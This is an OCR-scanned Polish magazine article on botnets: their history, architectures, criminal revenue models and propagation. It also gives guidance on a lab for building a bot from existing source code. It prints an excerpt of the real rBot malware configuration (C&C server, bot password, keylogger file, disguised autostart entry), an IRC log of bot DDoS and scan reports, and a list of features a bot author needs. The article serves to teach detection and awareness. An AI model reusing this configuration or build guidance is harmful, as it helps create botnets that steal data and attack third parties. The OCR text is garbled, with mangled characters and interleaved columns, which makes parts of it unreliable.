BARTOSZ KALINOWSKI

Stopien trudnosci

Z ARTYKULU
DOWIESZ SIE

czym sq boty,
w jaki sposéb powstajg botnety,

jakie zagrozenia mogq
powodowac sieci botdw,

w jaki spos6b nastepuje
propagacja systemow bot w
sieci Internet,

w jaki sposob stworzy¢
najprostszqg aplikacje bot oraz
stworzyé system botnet, w
oparciu o zrodta (przyktad)

CO POWINIENES
WIEDZIEC

zna¢ na poziomie
administracyjnym system Linux,

znaé na poziomie
administracyjnym Windows,

zna¢ metody wirtualizacji,

zna¢ sposoéb funkcjonowania
sieci komputerowych,

co najmniej umie¢ czyta¢ kod
Zrodtowy C++/Java,

orientowac¢ sie plynnie w
protokotach sieciowych

i rozwigzaniach
komunikacyjnych.
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Botnety
— zmorda lat
ostatnich

,Chociaz wszyscy mogq dostrzec zewnetrzne okolicznosci,
nikt oprécz mnie nie powinien rozumie¢ sposobu, w jaki
zwyciezam. Dlatego po osiqgnieciu zwyciestwa nie powtarzam
tej samej taktyki, lecz w nastepnej walce odpowiadam na

zaistniate okolicznosci”

otnety sq zjawiskiem istniejgcym od co
B najmniej 13 lat jako znane zagrozenie
sieciowe, inne zrodia donoszg o
petnoletnosci tego problemu. Bez wzgledu na
wiek, faktem jest iz istniejq | ze stanowiq realne
zagrozenie dla uzytkownikdw sieci w postaci
odbiorey koncowego, jak i dostawcy ustug.

Trendy zagrozen internetowych (mozna by
rzec, ze timeline tych zagrozen, od poczgtku
ich istnienia) wskazujq, ze botnety i boty (bot,
skrot od stowa robot), rozumiane w kontekscie
bezpieczenstwa IT, sq w linii prostej kolejnym
etapem ewolucyjnym wirusow (wirus — worm
- rat - bot — botnet). Na ewolucje w tym
kierunku silny wptyw miaty srodowiska IRC-
owe — pokusi¢ sie mozna o stwierdzenie, i
pierwszymi sieciami botnet byty aplikacje
nadzorujgce kanaty IRC-owe.

Dalszy rozwoj technologiczny, a
jednoczesnie sytuacja na IRC powodowata
lub wrecz wymuszata na tworcach pierwszych
aplikacji nadzorujacych kanaty, rozbudowe
slecl botow o kolejne funkcjonalnosci,
stuzgce na poczqgtku tylko do utrzymywania
kanatow, porzadku na kanatach, a w dalszej
perspektywie do ich przejmowania oraz
zdalnego uaktualniania softwaru danego
bota (zdalny provisioning botdw/rozbudowa
modularna).

Na tym etapie mamy do czynienia z
systemami (aplikacjami), ktore komunikujg
sie ze sobq, wymieniajq informacje, wykonujg

Sun Tzu

wspolnie czynnosci (czynnosci nadzorowane
przez tworce — C&C czyli command and
control), dokonujg samo-aktualizacji, a w
poOzniejszym czasie przeprowadzajg ataki DoS
(denial-of-service attack) w sposob rozproszony
(wiele botow na wielu systemach wykonuje atak
DoS w jeden cel), tworzqc atak (pojecie ataku)
DDoS (distributed denial-of-service attack).

Do tej pory wszystko odbywato sie na
systemach, do ktorych osobnik nadzorujgey
sie¢ (master) posiadat dostep, wiec o ile
samo przeprowadzanie atakow w wiekszosci
przypadkdw byto nielegalne i poza wiedzq
wiasciciela (zakladam dostep do danego
systemu w modelu zdalnym na udostepnione
konto Shell/telnet lub fizyczny dostep do konsoli),
0 tyle sam fakt funkcjonowania danej aplikacii
(otwarty socket aplikacji na komunikacje, ruch
internetowy, potgczenie z innymi serwerami itp.)
byt w zasiegu kontroli administratora systemu,
wiec de facto systemy takie byty nadzorowane
przez 0soby uprawnione.

Czas plynat, a narzedzia dostarczone
przez fascynatow komunikacji spowodowaty
poruszenie w srodowisku mniej przyjaznym
- sieci botnetowe — ich koncepcja oraz
model funkcjonowania zostaty przeniesione
na grunt czarnorynkowy, gdzie gtéwnym
celem byto stworzenie architektury sieciowe]
poza swiadomosciq wiascicieli systemow,

7 jednoczesnym naciskiem na 10$¢ tych
systemow.



Czym sq botnety

Przyjmujac definicje encyklopedyczng
mamy do czynienia z grupg
zainfekowanych komputerdw, bedgcych
pod zdalng, nieautoryzowanq |
niechciang kontrolg wiasciciela botnetu.
System ten, opisujgc kolokwialnie, skiada
sie z komputera mastera, komputerow
hubow oraz komputerdw nodow
(architektura drzewa, korzen — gotezie

- ligcie). W takim przypadku mamy do
czynienia z architekturg hierarchiczng
prosta.

Zarzqdzanie catym systemem
odbywa sie poprzez propagacje komend
na wszystkie systemy tworzqce sie¢ w
sposob kaskadowy. W najprostszych
modelach komputer master przesyia
polecenie na huby, ktdre propagujq to
na podtgczone do nich nody. Jest to
podstawowy sposob funkcjonowania
takich sieci.

[nnym modelem jest wykorzystanie
mastera jako stacji gléwnej rozproszonej
sieci IRC — komputery huby stanowig
rozwigzanie typu load balancing dla sieci,
pozwalajac na dostep do systemu IRC
dla wszystkich zainfekowanych systemow
7 jednoczesnym zapewnieniem
stabilnosci sieci. Jest to podejscie
hierarchiczne ze strony architektury i
rozproszone od strony zarzqdzania.
Sterowanie takim systemem odbywa
sie poprzez wydawanie polecen jako
publicznych rozmdw na dedykowanym
kanale IRC (daemon na komputerze
master i hub) i w takim modelu
sterowania sieciq wszystkie podigczone
nody nastuchujq tekstu na kanale, a w
przypadku rozpoznania go jako komende
przechodzqg do jej realizacii.

Kolejnym modelem funkcjonowania
bonetow sq systemu p2p (podobne
w sposobie funkcjonowania do sieci
peer-to-peer; typu gnutella itp., w ktorych
uzytkownicy wymieniajq sie plikami)

- gwarantujgce wszystkim klientom

funkcjonowanie na takich samych prawach,

CO jednoznacznie przekiada sie na
zarzgdzanie systemem: obojetne ktbremu
7 botow wydamy komende, ten zacznie

jgj rozpowszechnianie po pozostatych
nodach. Strata komputera — huba lub
komputera — mastera nie wigze sie z
stratg botnetu. Plynna architektura sama w

ATAKI SOCJOTECHNICZNE

sobie tworzy load balancing systemu, nie
wystepuje problem przecigzenia systemow
nadzorujacych oraz nie ma ryzyka wykrycia
systemu odpowiedzialnego za zarzqdzanie
catqg sieciq.

Niezaleznie od przyjetej architektury
botnety posiadajg pewien staty cykl
zycia, ktory mozna opisac nastepujgcymi
punktami:

Bot-master planuje/tworzy/
konfiguruje:
sposob funkcjonowania
(architekturay),
wektory atakow,
wektory propagacii,
szczegoty C&C.
Tworzy redundantng i dynamiczng
architekture DNS.
Tworzy architekture statyczng IP |
DNS.
Uruchamia pierwsze zrodta
propagacii.
Wzmacnia propagacje (Spam -> fora,
blogi, strony, itp.).
Wykorzystuje botnet.
Traci nody.
Traci funkcjonalnose botnetu.

Sq one bezposrednim nastepstwem
funkcjonowania organizmu jakim jest
Internet — tworca sieci tworzy architekture

(wdraza projekt) w pierwszych 3 punktach,
po czym przystepuje do inicjalizaci (pkt4)
botnetu i jego silnego rozpowszechniania
w celu zdobycia jak najwiekszej liczby
nodow. Nastepstwem takich dziatan

jest wykrycie przez firmy czuwajgce

nad bezpieczenstwem sieci nowego
zagrozenia | stworzenie odpowiednich
poprawek/sygnatur antywirusowych itd,
plokujgcych z jednej strony sposoby
propagacji a z drugiej sam botnet.

Najwigksze sieci botnetowe
Ze wzgledu na opisany wczesniej cykl
zycia, zaktada sie ze przecietnej jakosc,
aczkolwiek w petni funkcjonalny, botnet

W SzCzycie swojego istnienia przy silnej
propagacji moze osiqgnac¢ wielkose 20
000 stacji zombie (stacji bedgeych poza
wiedzq wiasciciela maszyny w nadzorze
botnetu). Istniejg natomiast przypadki wielu
dobrze napisanych botdw z interesujgcymi
sposobami hardeningu kodu i propagadi,
osiggajgce wielkos¢ miliondw nodow.
Patrzgc na przekrdj rozwoju tej dziedziny
aplikacji malware, a jednoczesnie nie
odbiegajgc zbytnio w przesztose:

Rok 2008 (poczqtek):

Storm: wielkos¢: 310 000 hostow/24h,
typ: peer-to-peer, cel: SPAM/DDOS.

Rbot: wielkose: 100 000 hostow/24h,

typ: IRC, cel: SPAM/DDOS/INNE.
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Rysunek 1. Pierwsze boty IRC
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Listing 1. rBot Configs.h — wycinek. Oryginalne komentarze

// bot configuration (Lsass by Uncanny)

int port = 6667;

int port2 = 6666;

int socksd4port = 65038;
int tftpport = 69;

int httpport = 81;

int rloginport = 37;
BOOL topiccmd = TRUE;
BOOL rndfilename = TRUE;
BOOL AutoStart = TRUE;

char prefix = '+';

// server port
// backup server port
// Port # for sock4 daemon to run on - CHANGE THIS!!!
// Port # for tftp daemon to run on
// Port # for http daemon to run on
// Port # for rlogin daemon to run on
// set to TRUE to enable topic commands
// use random file name
// enable autostart registry keys
// command prefix (one character max.)
int maxrand = 6;
int nicktype = CONSTNICK;
BOOL nickprefix = TRUE;

// how many random numbers in the nick
// nick type (see rndnick.h)
// nick uptime & mirc prefix

#ifdef DEBUG_LOGGING
char logfile[]="c:\\debug.txt";
#endif

#ifndef NO CRYPT // Only use encrypted strings or your binary will not be secure!!

#else // Recommended to use this only for Crypt() setup, this is unsecure.

char botid[] = "vX"; // bot id

char version[] = "mruu"; // Bots !version reply
char password|[] = "putanal2"; // bot password
char server[] = "aenigma.gotd.org"; // server

char serverpass[] = ""; // server password
// channel that the bot should join

// channel password

char channel([] = "#";
char chanpass[] = "";
char server2[] = ""; // backup server (optional)
char channel2[] = ""; // backup channel (optional)

char chanpass2[] = ""; // backup channel password (optional)

char filename[] = "winmgr.exe"; // destination file name

char keylogfile[] = "system.txt"; // keylog filename

char valuename[] = "Microsoft Update Machine"; // value name for
autostart

char nickconst[] = "n-"; // first part to the bot's nick

char szLocalPayloadFile[]="msconfig.dat"; // Payload filename

char modeonconn|[] = "-x+B"; // Can be more than one mode and contain both + and -

char exploitchan[] = "#n"; // Channel where exploit messages get redirected

char keylogchan[] = "#n"; // Channel where keylog messages get redirected

char psniffchan[] = "#n"; // Channel where psniff messages get redirected

Modsl Somrowiroeany

Rysunek 2. Architektura p2p vS. architektura centralizowana
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Bobax: wielkos¢: 69 000 hostow/24h,
typ: HTTP, cel: SPAM/MASS-MAILIG
Rok 2009 (sierpien):

Zeus: wielkose¢: 3 600 000, typ: HTTP,
cel: SPAM/MASS-MAILIG.
Koobface:wielkos¢: 2 900 000,

typ: HTTP (portale spotecznosciowe np.
Facebook, Twitter, MySpace, cel: | NNE/
SPAM/DDOS

TidServ: wielkos¢: 1 500 000,

typ: Architektura serwerowa,

cel: SPAM

Trojan.Fakeavalert: wielkos¢: 1 400 000,
typ: HTTP,

cel: SPAM/ SPYWARE
TR/DldrAgentJKH, wielkose: 1 200 000,
typ: DNS,

cel: CLICKBOT/SPYWARE/SPAM.
Monkif: wielkos¢: 520 000,

typ: HTTP,

cel: SPAM/INNE/DDQOS.

Hamweq: wielkos¢: 480 000,

typ: HTTP/IRG, cel: SPYWARE/INNE/
SPAM/CLICKBOT.

Swizzor: wielkos¢: 370 000,

typ: HTTP,

cel: SPYWARE/SPAM/DDOS.

Zagrozenia sieci botnet
Patrzgc na liste najpopularniejszych
botnetow poza ich wielkosciqg elementem,
ktory rzuca sie w oczy sq gltowne cele
funkcjonowania danej sieci aplikacii
malware.

Cel: spam

Spam jest najpopulariejszym zrodiem
dochoddw wiascicieli botnetow (wedtug
szacunkdw mozliwosci zarobkowe
wiasciciela botnetu o skali poréwnywalnej
do Storma z mozliwosciami spamerskimi
oprécz mailingu, na poziomie xRumera

- wynoszq okoto 16 min ziotych). Sq to
zachecajgee kwoty do rozwoju tego typu
aplikacji i dziatan. Silniki botnetowe oprécz
typowego spammingu zajmujqg sie tzw.
Harvestingiem (harvestery) — gromadzqc
dane na poczet oferenta. Sg to zazwyczaj
listy e-maili, aczkolwiek na czarmym

rynku zdarzajq sie zlecenia masowych
poszukiwan logindw paypal, numerow
kont bankowych, zbiorow typu login:hasto,
exploitow itd. Naturalnym dziataniem
zwigzanym ze spamem wszelkich botow
jest analiza zainfekowanego systemu



(najczesciej dotyczy to systemdw produkaii
Microsoftu) — od ksigzki adresowej
Outlook Express po historie przeglgdarki i
pliki cookies.

Glownym zadaniem zwigzanym ze
spammingiem jest oczywiscie rozsytanie
spamu — atakujgey ma na celu wystac
7a pomocq jednego hosta jak najwiekszqg
los¢ wiadomosci (liczby na poziomie 750
000 000 wiadomosci w ciggu doby nie
robiq juz na nikim wrazenia) w minimalnie
krotkim czasie. W ostatnim czasie do
standardowego mailingu coraz mocniej
przypinany jest spamming spotecznosci
Web 2.0 - portale spotecznosciowe,
portale komunikacyjne, fora, blogi stajg
sie idealnym miejscem do takich dziatan.

Najpopulamiejszymi botami
spamujgcymi na sierpien 2009 sa:

Bagle,
Waledac,
Donbot,
Pushdo,
Bobax,
Rustock,
Srizbi,
Grum,
Mega-D,
Gheg,
Xarvester.

Ktorych udziat w procesie spamowania
przechwyconych na systemach
honepotowych prezentuje Rysunek 4.

Cel: atak

Kolejnym celem lub mozliwoscig botnetow
jest zdalny atak na systemy komputerowe
lub cate siecl. Jest to produkt majgey
wielki popyt — ataki od wiascicieli botnetow
na czarnym rynku mozna kupowac w
praktycznie kazdym modelu - leasing
czasowy, leasing wielkosci ataku,

kupno botnetu, kupno ataku, czas ataku

- wszystko ma swojg cene. Oprocz jawnej
sprzedazy tego typu ustug mamy do
czynienia z wymuszeniami pieniedzy za
tzw. ochrone, ktéra jest zaprzestaniem
atakow wykonywanych przez
wymuszajgcego. Czy nie dziata Ci poczta,
strona firmowa i system komunikacji VoIP?
Wystepuje problem techniczny z Twoim
operatorem? Oferuje ¢i rozwigzanie tego
problemu za 5000%.

ATAKI SOCJOTECHNICZNE

Powszechnym sposobem dziatania
tego typu (sabotazu?) jest wielogodzinny
atak na rézne ustugi oferowane przez

dostepne pasma i calq przepustowose
oraz transfer, a nastepnie wystanie do
ofiary maila z informacjq 0 sumie i loginie

dangq firme, catkowicie wyczerpujqc np. paypal, na ktore nalezy jq przelac.

Listing 2. rBot — przykiad danych z raportu

NICK n-930585
USER ngsinwv 0 0 :n-930585
USERHOST n-930585

MODE n-930585 -x+B

JOIN #PopcOrn
NOTICE n-930585
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn

:.VERSION mIRC v6.03 Khaled Mardam-Bey.
:[MAIN]: Status: Ready. Bot Uptime: 0d Oh Om.
: [MAIN]: Bot ID: PopBoT!
:[Scn]: Exploit Statistics: NetBios: 0, NTPass: 0, Dcoml35: O,
Dcoml025: 0, Dcom2: 0, MSSQL: 0, lsass: 0, Total: 0 in 0d Oh
Om.
:[MAIN]: Uptime: 0d Oh 5m.
:[PROC]: Failed to terminate process: PROCESS_NAME TO TERMINATE
: [HTTPD] : Error: server failed, returned:
: [HTTPD]: Server listening on IP: 127.0.0.1:80, Directory: \.
:[DDoS]: Flooding: (127.0.0.2:1234) for 50 seconds.
: [DDoS]: Done with flood (0KB/sec).
:[SYN]: Done with flood (0KB/sec).
:[SYN]: Flooding: (127.0.0.2:1234) for 50 seconds.
: [SCAN] : Random Port Scan started on 127.0.x.x:445 with a delay of
5 seconds for 0 minutes using 10 threads.
:[SCAN]: Random Port Scan started on 127.0.x.x:139 with a delay of
5 seconds for 0 minutes using 10 threads.
:[SCAN]: Failed to start scan, port is invalid.
:[SCAN]: Random Port Scan started on 127.0.x.x:135 with a delay of

5 seconds for 0 minutes using 10 threads.

PRIVMSG #PopcOrn
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn
PRIVMSG #PopcOrn

PRIVMSG #PopcOrn

PRIVMSG #PopcOrn
PRIVMSG #PopcOrn

NICK n-686865

USER vgkbpv 0 0 :n-686865
USERHOST n-686865

MODE n-686865 -x+B

NICK n-881214

USER lzautted 0 0 :n-881214
USERHOST n-881214

MODE n-881214 -x+B

NICK n-546050

USER vgkbpv 0 0 :n-546050
USERHOST n-546050

MODE n-546050 -x+B

NICK n-673637

USER dwrxbk 0 0 :n-673637
USERHOST n-673637

MODE n-673637 -x+B
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Rysunek 3. Liczba nowych botow w okresie 2009-06-12-2009-08-18 na podstawie
abuse.ch (wykrywanych w Chinskiej czesci Internetu)
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W tym przypadku najbardziej cierpiq
wszelkie firmy zyjgce z obecnosci online
- kasyna, zaktady bukmacherskie, loterie
elektroniczne, portale eReality.

Przykiadem dziatan tego typu
zakrojonych na szerokq skale byta
firma BlueSecurity z swoim produktem
BlueFrog — polecam do zapoznania
sie z tym przypadkiem: -http:
//enwikipedia.org/wiki/Blue_Frog, http:
//www.daniweb.com/blogs/entry518.htm|,
-htto://wwwwashingtonpost.com/
wp-dyn/content/article/2006/05/16/
AR2006051601873.html.

Brak mozliwosci obrony przed
dalszymi atakami zmusit firme do
zamkniecia projektu, jakim byt BlueFrog
(istniejq przypuszczenia, ze ataki wysycaty
pasmo w zakresie kilkudziesieciu
gigabitow na sekunde majge wielokrotng
rezerwe na korzysc atakujgeych).

Cel: phishing, fraud, oszustwo
Spam i ataki to tylko drobna czes¢
realnych mozliwosci sieci botnet. Na
porzadku dziennym sq dziatania typu
fraud/phishing. Botnety kradng naszqg
tozsamos¢, nasze dane, numery

kart kredytowych, hasta i loginy do
portali, hasta 1 loginy do kont aplikacii
obstugujgcych ptatnosci online,
wykorzystujg mozliwosci clickfraud
(masowe odwiedzanie stron reklamowych/

rRUSTOCK B28.0%
PUSHDC E27.2%
MEGA-D D18.2%

GRUM B9 3%
HARVESTER O1.8%
QTHER SOURCES B 1%6%

Rysunek 4. Udzial botow w procesie spamowania

wychwyconych na honeypotach

Rysunek 5. Podstawowe funkcje botow
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klikanie w linki reklamowe). Miliony maszyn
poza wiedzq i przyzwoleniem wiascicieli

w tzw. tle klika reklamy i rozsyta nosze
dane. Oczywiscie wszystko w okreslony
Sposob, z odpowiedniq czestotliwosciq

i na zasadach umozliwigjacych jak
najwierniejsze symulowanie wizyt zwyktych
uzytkownikow — aby osoba czerpigea zysk
z tych dziatan, zarabiata jok najwiecej i jak
najdtuze).

Odnoggq oszustw tego typu jest
phishing w czystej formie — tworzenie
stron mirrorowych do stron ustug,
takich jak serwisy aukcji internetowych,
serwisow bankowych, portali Web 2.0. w
celu wyludzenia danych, umozliwigjgcych
dokonanie transakcji finansowych lub
innych zwigzanych z danym portalem.
Wyobrazmy sobie botnet do stworzenia
fatszywych kont na portalu typu wykop.pl
i umieszczanie linkdw na stronie gtownej
- reklama z targetem na poziomie 400
000 0s6b w kilka minut, do tego akcje
podejmowane przez uzytkownikow
strony w ramach pospolitego ruszenia
- typu masowe wysycanie pasma przez
uzytkownikow stronie tureckiej grupy
hackerskiej tylko poteguja i wzmacniajq
mozliwosci catej sieci.

Cel: podstuch/nadzér/inwigilacja
Tworey botnetdw w wiekszosci przypadkdw
wbudowujg w swoje aplikacje malware
funkcjonalnosci typu podstuch
(sniffing software), key logging,
cookies logging, traffic
logging — funkcjonalnosci
niezbedne do prowadzenia
atakow typu fraud,
aczkolwiek sam podstuch
i nadzér majg rowniez
inne mozliwosci — stajemy
sie wiascicielem prywatnej firmy
wywiadowczej 0 zasiegu
globalnym. Bezpieczenstwo

FRALID

informacji w przypadku takiego dziatania
jest silnie naruszone, zZwazywszy ze
gtownym celem atakow i propagacji wokot
konkretnej grupy (target) niesie ryzyko
wycieku informagji dotyczageych min.
tajemnic firmowych, tajemnic panstwowych
lub finalnie — danych osobowych.

Popularne sq rowniez dziatania
handlowe wobec danych, ktdre zostaty
ukradzione:

konta na Ebay: 10-50 kont w cenie od
5 do 159,

konta ICQ: 1 = 7$/konto,

konta FTP/Przejete serwery HTTP: 10
- 900%/dostep,
klucze/aktywacje/seriale: 1 - 20$/
aktywacje.

Cel: ukrycie, kamuflaz, sie¢
anonimowa

Aktualne konstrukcje botdw pozwalajg
oprocz ukrycia wiasnego istnienia,

na ukrycie innych botow lub aplikacii
malware, a nawet routowania potgczen
(tworzenie nieoficjalnych sieci typu TOR w
celu uzyskania anonimowych potgezen).
W tym celu tworzone sqg wielokrotne

i wielopoziomowe przekierowania/
trasowania ruchu w ramach wirtualnych
protokotow trasowania oraz tworzenie
serwerOw posredniczagceych | otwartych
serwerow high — anon proxy (takze na
bazie znanych technologii, takich jak
HTTP — proxy czy SOCKS).

Cel: korzy$¢ majqgtkowa, zarobek,
zysk

Majac na wzgledzie wszystkie wczesnig)
opisane cele, dobrym podsumowaniem
celu funkcjonowania botnetow jest zysk
majqtkowy. Czy mowimy 0 wynajeciu

calej sieci botnet, poszczegolnych hostow,
liczby hostow, atakach DDoS, podstuchu,
fraudach bankowych/finansowych,

czy kradziezy danych osobowych

- za wiascicielem botnetu zawsze stojq
pienigdze — 135 000 zt miesiecznie na
spamie, 16 = 400$ za kazdq godzine
DDoS, wynajem botnetu paczkami po 100
000 maszyny — 400 - 1400% tygodniowo,
tamanie captcha od 0,025 do 0,005$ w
flosciach od 500 do 1 000 000 sztuk.
Mowigce krotko — posiadanie sprawnych
botnetdw 0 ogromnej llosci hostow na



czarnym rynku jest bardzo optacalne.
To catkiem skuteczne i bogate zrodio
dochodu, jednak mocno wykraczajgce
poza granice prawa (co najmniej poza
granice prawa polskiego).

Powstawanie botnetow
/naczna czese wspodtczesnie
istniejocego oprogramowania zawiera
bledy — jest to powszechnie znane |
odczuwalne zjawisko. Bledy, ktore w
najprostszym przypadku powodujq
zawieszenie aplikacji, a w najgorszym
pozwalajg przejg¢ catkowitq kontrole nad
danym systemem komputerowym.

Z mozliwoscl, jakie dajg biedy
drugiego typu, korzystajq tworcy
ztosliwego oprogramowania — malware
zawiera kody (exploity, payloady, metody
wstrzykiwania kodow oraz wektory
atakow) przeznaczone do wykonywania
dziatan, umozliwiajgeych przejecie kontroli
nad systemem komputerowym.

Standardem jest tworzenie
mozliwosci poszerzania listy wektorow
atakow, a ostatnio coraz bardzie)
popularme jest wymienianie umiejetnosci
miedzy botnetami (przenoszenie kodow z
jednego botnetu na inny). Modutowy typ
budowy oraz architektury p2p pozwalajg
na okresowe aktualizowanie tych
wektorow ataku oraz dostosowywanie
SpPOsobOw propagacji do Nowo
wykrywanych podatnosci.

Pomimo tworzenia coraz
skuteczniejszego oprogramowania
typu Internet/personal security, nadal
statystycznie najwiecej odnotowywanych
atakéw sieciowych polega na masowym
przeszukiwaniu losowych, ale bedgcych
w uzyciu adresacii publicznej i prywatnej
protokotu, adresoéw IP (jest to ksigzkowe
wykorzystanie metod typu IP Range Scan,
multicast IP scanning oraz unicast IP
scanning), a same ataki dotyczq kolgjno:

propagaciji z wykorzystaniem luk w
przeglgdarkach,

propagaciji z wykorzystaniem luk w
systemie Microsoft Windows,
propagaciji z wykorzystaniem poczty
elektroniczne.

Bledy eksploatowane przez ztosliwe
oprogramowanie w najwiekszej ilosci

ATAKI SOCJOTECHNICZNE

i powszechnosci dotyczg m.in. takich

luk/oprogramowania:

Microsoft Windows RPC,
Microsoft LSA Service,

Microsoft Windows Core DLL (porty

135, 139, 445),
IS,
WINS.

Kolejng klasa najpopularniejszych
podatnosci wykorzystywanych
przez botnety (i ogdinie

aplikacje malware) sq luki w
przeglgdarkach internetowych
uzytkownikow. O powadze tego
zagrozenia $wiadczq pokazujgce
sie czesto tego typu newsy: 10
sierpnia 2009, 13:58 Wykryto
luke, ktora dotyczy wszystkich
przegladarek.. Odwiedzajqcy
strony internetowe zostajq
zaatakowani przez ztosliwy kod, 0
czym w sytuaciji idealnej — nawet
sie nie dowiedzq.

Niestety praktyka ostatnich lat pokazuje
i udowadnia, ze wiele luk w przeglgdarkach
zostato ,odkrytych” dopiero w momencie
analizy juz przeprowadzonego ataku.

Popularng praktykq jest wykorzystywanie
systemow dynamicznych stron (PHP ASP

ey
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Rysunek 6. Przykiadowy model zarobkowy
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Perl), ktore w dobie tysiecy dostepnych
aplikacji pisanych przez spotecznose
(trend community) niezaznajomionq z
tematykq tworzenia bezpiecznego kodu,
zawierajq bledy umozliwiajace wstrzykniecie
dowolnego kodu, ktory jest uruchamiany z
uprawnieniomi serwera WWW. Wystarcza
o do wykonywania konkretnych zadan, a w
szczegolnoscl dalszego rozprzestrzeniania
sie bota.

Kolejnym kanatem skuteczne;
propagacji sq serwisy komunikacyjne
i klienci sieci IM (Instant Messenger),
przesylajgce do ofiary linki HTTR kierujgce
przeglgdarke do zdalnego zasobu
zawierajgcego ztosliwy kod. Potencjalny
intruz ma nieograniczone mozliwosci
dotarcia do milionow odbiorcow, z
zatozeniem, ze chociaz jeden 1% wejdzie
na strone.

Nastepna metoda to ataki brute
force, polegajace na masowych probach
dokonania poprawnego logowania do
ustug za pomocq czesto uzywanych
nazw kont oraz haset. Ofiarami padajqg
aktualnie najczesciej uzytkownicy
modemow DSL z ustawionymi
standardowymi hastami.

Atakujgey oczywiscie nie przebierajg
w srodkach i normalng praktykq jest
kradziez cudzych botéw, tworzenie
fatszywych serweréw gier, SMS/PHONE/
iPhone — spamming wymierzony w
luki konkretnych aplikacji. Naturalng
sprawq jest rowniez wykorzystywanie
samych botnetow (juz istnigjgcych)
do propagacji za pomocq dziatan
spamerskich, nowych, albo mutacji, albo
catkowicie oddzielnych wersji malware
botnetu.

Elementy budowy sieci
botnet
Chciatbym, w tym momencie pokazac
przed jakim problemem stajg domorosli
tworcy botdw i jak (nie)skomplikowanym
procesem jest stworzenie najprostszego
systemu aplikacji malware, funkcjonujgeych
jak sie¢ botnet. Przede wszystkim do
rozpoczecia badan polecam stworzenie
Srodowiska wirtualnego, w ktorym
bezpiecznie bedziemy mogli przetestowac
funkcjonalnos¢ systemu.

Model, na ktérym pracuje mozna
zobaczy¢ na Rysunku 7. W jego skiad
wchodzq:

maszyna Linux (Backtrack — analiza,
stacja robocza),

maszyny Windows (kompilacja kodu,
analiza kodu),

ATAKUJACY (BOTMET MASTER)
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Rysunek 8. Model Architektoniczny botnetu.
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Srodowisko programistyczne dla
JAVA/CPP,

$rodowisko analityczne dla kodu (HEX
edytory, debuggery, dissasemblery itd.),

ATAKI SOCJOTECHNICZNE

pierwszym modelu aplikacja bot realizuje szpiegujgca atakujgea itd. Oba rozwigzania
wszystkie funkcje jako samodzielna majg swoje wady i zalety, na pewno fatwiej
aplikacja. W drugim modelu bot stanowi od strony organizacyjnej stworzy¢ system,
zlepek aplikacji — aplikacja propagujaca, ktory sam dba o siebie jako pojedynczy

maszyna Windows 2 (maszyna
infekujgca),

maszyny Windows jako srodowisko
botnet,

srodowisko IRC demona + analiza
ruchu.

Architektonicznie oprze¢ mozna to w
przypadku braku maszyn fizycznych o
Srodowiska wirtualne, ze swojej strony
poleci¢ moge nastepujacy ukiad:

3 maszyny fizyczne:
Backtrack,
Windows (kompilacja kodu) + VM
(maszyna infekujaca) + VM(RCD),
VM(Nody).

Budujemy funkcjonalnosci
Co musi robi¢ bot? Jakie musi wykonywa¢
funkcje? Sq to problemy, przed ktorymi
staje tworca kodu aplikacji malware.
Patrzac na stan rynkowy aktualnie
wymogiem jest zadoscuczynienie, Co
najmniej nastepujgeym funkcjom:

monitorowanie ruchu sieciowego
(sniffing) TCP,

podstuch potgczen POP3 i FTP,
podstuch potgczen HTTP oraz HTTPS
(najczesciej spotykanym rozwigzaniem
jest podstuch wszystkiego co korzysta
7 biblioteki wininetdll),

serwer Proxy (socks),

tzw. backconnect dla wszystkich
zainfekowanych i infekujgeych serwisow
komputera (RDP. Socks, FTP itd),
screenshoty ekranu w czasie
rzeczywistym,

mozliwos¢ do przeprowadzania
atakéw phishingowych,
samoukrywanie,

$ciqganie oprogramowania na
zqdanie,

ataki DdoS,
przekierowanie/routowanie ruchu,
obstuga mechanizmu C&GC,
propagacia.

Realizacja tych czynnosci dobywa
sie zazwyczaj w dwoch modelach: w
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system (aplikacja) IT - fatwiej jest Sciagnac
jednq rzecz, fatwiej szyfrowac i wdrazac
mechanizm morfizaci kodu. W przypadku
modutowego rozwigzania zaletami sg na
pewno fatwiejsze mozliwosci aktualizaci
kodu poszczegolnych elementow (zmiana
SpPOSsobOw propagacji wymaga jedynie
zmiany jednego modutu, nie catej aplikaci).
Patrzgc na zbidr wymagan tatwo
okresli¢ pracochtonnose — to kwestia kilku
tygodni, zeby wyjS¢ na rynek internetowy
Z nowym systemem botnetowym, nie
majgc wsparcia z innych stron/zrédet.
Wykorzystujac pomoc w postaci koddw
zrodiowych juz istniejgeych botnetow, a
jednoczesnie wspierajgc sie na nowych
bazach podatnosci i systemow szyfrowania
I ukrywania kodu — proces ten znacznie sie
skraca.

Wykorzystujemy gotowe kody
Artykut ten nie ma na celu
promocji zachowan niezgodnych z

polskim prawem, w szczegolnosci
naruszania kodeksu karnego,

poprzez tworzenie i propagacje
systemow typu botnetowego,

ani tworzenia aplikacji malware i
dalszego ich rozprzestrzeniania

poza WEASNE Srodowisko testowe

- przede wszystkich powstat w

celach edukacyjnych, majac za
zadanie zbudowanie zasobu wiedzy
niezbednej do wykrycia takiego
systemu i poszerzenia $wiadomosci
zagrozen, na podstawie analiz aplikacji
w prywatnym srodowisku. Autor nie
bierze odpowiedzialnosci za zadne
zachowania czytelnikdw, wykonane w
rezultacie zapoznania sie z materiatem
artykutu.

W ostatnich czesciach artykutu
chciatbym zaprezentowa¢ jak matym
kosztem tworzone sq kolejne mutacje
robakéw wormow i botnetow.

Co bedzie nam potrzebne”? Kod
zrodiowy bota
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Rysunek 12. Dane warte uwagi

W Sieci

http://plwikipedia.org/wiki/P2P.

http://plwikipedia.org/wiki/Anonimowe_P2P,

http://en.wikipedia.org/wiki/Peer-to-peet,

(ServicePack) 6 dla
VC++, Windows SDK.

http://en.wikipedia.org/wiki/Chord_%28peer-to-peer%29,
http://en.wikipedia.org/wiki/Denial-of-service_attack#Peer-to-peer._attacks,

http://en.wikipedia.org/wiki/Peer-to-peer_SIP.

Materiaty warte poznania:

Wyglgd botnetow: http://www.csoonline.com/article/348317/What_a_Botnet_Looks_Like
Storm: http://en.wikipedia.org/wiki/Storm_botnet

Propagacija bota: http://www.youtube.com/watch?v=kH8cS1Akqil

Skanowanie plikéw: http://www.virustotal.com/

Blog dotyczgcy min. problemu botnetéw: http://bothunters.pl/
